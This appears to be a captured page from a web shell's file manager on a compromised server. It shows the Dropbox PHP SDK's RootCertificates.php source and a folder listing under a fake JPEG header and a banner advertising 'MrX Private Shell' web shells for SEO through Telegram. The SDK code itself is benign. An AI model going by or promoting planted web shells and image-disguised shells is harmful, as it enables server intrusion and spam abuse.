����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Dropbox;
/**
* See: {@link RootCertificates::useExternalPaths()}
*/
class RootCertificates
{
/* @var boolean */
private static $useExternalFile = false;
/* @var string[]|null */
private static $paths = null; // A tuple of (rootCertsFilePath, rootCertsFolderPath)
/**
* If you're running within a PHAR, call this method before you use the SDK
* to make any network requests.
*
* Normally, the SDK tells cURL to look in the "certs" folder for root certificate
* information. But this won't work if this SDK is running from within a PHAR because
* cURL won't read files that are packaged in a PHAR.
*/
static function useExternalPaths()
{
if (!self::$useExternalFile and self::$paths !== null) {
throw new \Exception("You called \"useExternalFile\" too late. The SDK already used the root ".
"certificate file (probably to make an API call).");
}
self::$useExternalFile = true;
}
private static $originalPath = '/certs/trusted-certs.crt';
/**
* @internal
*
* @return string[]
* A tuple of (rootCertsFilePath, rootCertsFolderPath). To be used with cURL options CAINFO and CAPATH.
*/
static function getPaths()
{
if (self::$paths === null) {
if (self::$useExternalFile) {
try {
$baseFolder = sys_get_temp_dir();
$file = self::createExternalCaFile($baseFolder);
$folder = self::createExternalCaFolder($baseFolder);
}
catch (\Exception $ex) {
throw new \Exception("Unable to create external root certificate file and folder: ".$ex->getMessage());
}
}
else {
if (substr(__DIR__, 0, 7) === 'phar://') {
throw new \Exception("The code appears to be running in a PHAR. You need to call \\Dropbox\\RootCertificates\\useExternalPaths() before making any API calls.");
}
$file = __DIR__.self::$originalPath;
$folder = \dirname($file);
}
self::$paths = array($file, $folder);
}
return self::$paths;
}
/**
* @param string $baseFolder
*
* @return string
*/
private static function createExternalCaFolder($baseFolder)
{
// This is hacky, but I can't find a simple way to do this.
// This process isn't atomic, so give it three tries.
for ($i = 0; $i < 3; $i++) {
$path = \tempnam($baseFolder, "dropbox-php-sdk-trusted-certs-empty-dir");
if ($path === false) {
throw new \Exception("Couldn't create temp file in folder ".Util::q($baseFolder).".");
}
if (!\unlink($path)) {
throw new \Exception("Couldn't remove temp file to make way for temp dir: ".Util::q($path));
}
// TODO: Figure out how to make the folder private on Windows. The '700' only works on Unix.
if (!\mkdir($path, 700)) {
// Someone snuck in between the unlink() and the mkdir() and stole our path.
throw new \Exception("Couldn't create temp dir: ".Util::q($path));
}
\register_shutdown_function(function() use ($path) {
\rmdir($path);
});
return $path;
}
throw new \Exception("Unable to create temp dir in ".Util::q($baseFolder).", there's always something in the way.");
}
/**
* @param string $baseFolder
*
* @return string
*/
private static function createExternalCaFile($baseFolder)
{
$path = \tempnam($baseFolder, "dropbox-php-sdk-trusted-certs");
if ($path === false) {
throw new \Exception("Couldn't create temp file in folder ".Util::q($baseFolder).".");
}
\register_shutdown_function(function() use ($path) {
\unlink($path);
});
// NOTE: Can't use the standard PHP copy(). That would clobber the locked-down
// permissions set by tempnam().
self::copyInto(__DIR__.self::$originalPath, $path);
return $path;
}
/**
* @param string $src
* @param string $dest
*/
private static function copyInto($src, $dest)
{
$srcFd = \fopen($src, "r");
if ($srcFd === false) {
throw new \Exception("Couldn't open " . Util::q($src) . " for reading.");
}
$destFd = \fopen($dest, "w");
if ($destFd === false) {
\fclose($srcFd);
throw new \Exception("Couldn't open " . Util::q($dest) . " for writing.");
}
\stream_copy_to_stream($srcFd, $destFd);
fclose($srcFd);
if (!\fclose($destFd)) {
throw new \Exception("Error closing file ".Util::q($dest).".");
}
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Exception | Folder | 0755 |
|
|
| WebAuthException | Folder | 0755 |
|
|
| certs | Folder | 0755 |
|
|
| AppInfo.php | File | 7.07 KB | 0644 |
|
| AppInfoLoadException.php | File | 326 B | 0644 |
|
| ArrayEntryStore.php | File | 1.13 KB | 0644 |
|
| AuthBase.php | File | 2.52 KB | 0644 |
|
| AuthInfo.php | File | 2.64 KB | 0644 |
|
| AuthInfoLoadException.php | File | 328 B | 0644 |
|
| Checker.php | File | 3.22 KB | 0644 |
|
| Client.php | File | 59.93 KB | 0644 |
|
| Curl.php | File | 4 KB | 0644 |
|
| CurlStreamRelay.php | File | 1.04 KB | 0644 |
|
| DeserializeException.php | File | 389 B | 0644 |
|
| DropboxMetadataHeaderCatcher.php | File | 1.93 KB | 0644 |
|
| Exception.php | File | 265 B | 0644 |
|
| Host.php | File | 2.65 KB | 0644 |
|
| HttpResponse.php | File | 246 B | 0644 |
|
| OAuth1AccessToken.php | File | 1.44 KB | 0644 |
|
| OAuth1Upgrader.php | File | 5.26 KB | 0644 |
|
| Path.php | File | 5.36 KB | 0644 |
|
| RequestUtil.php | File | 11.34 KB | 0644 |
|
| RootCertificates.php | File | 4.89 KB | 0644 |
|
| SSLTester.php | File | 4.74 KB | 0644 |
|
| Security.php | File | 2.08 KB | 0644 |
|
| StreamReadException.php | File | 316 B | 0644 |
|
| Util.php | File | 799 B | 0644 |
|
| ValueStore.php | File | 1.28 KB | 0644 |
|
| WebAuth.php | File | 10.23 KB | 0644 |
|
| WebAuthBase.php | File | 4.61 KB | 0644 |
|
| WebAuthNoRedirect.php | File | 2.95 KB | 0644 |
|
| WriteMode.php | File | 3.66 KB | 0644 |
|
| autoload.php | File | 844 B | 0644 |
|
| strict.php | File | 538 B | 0644 |
|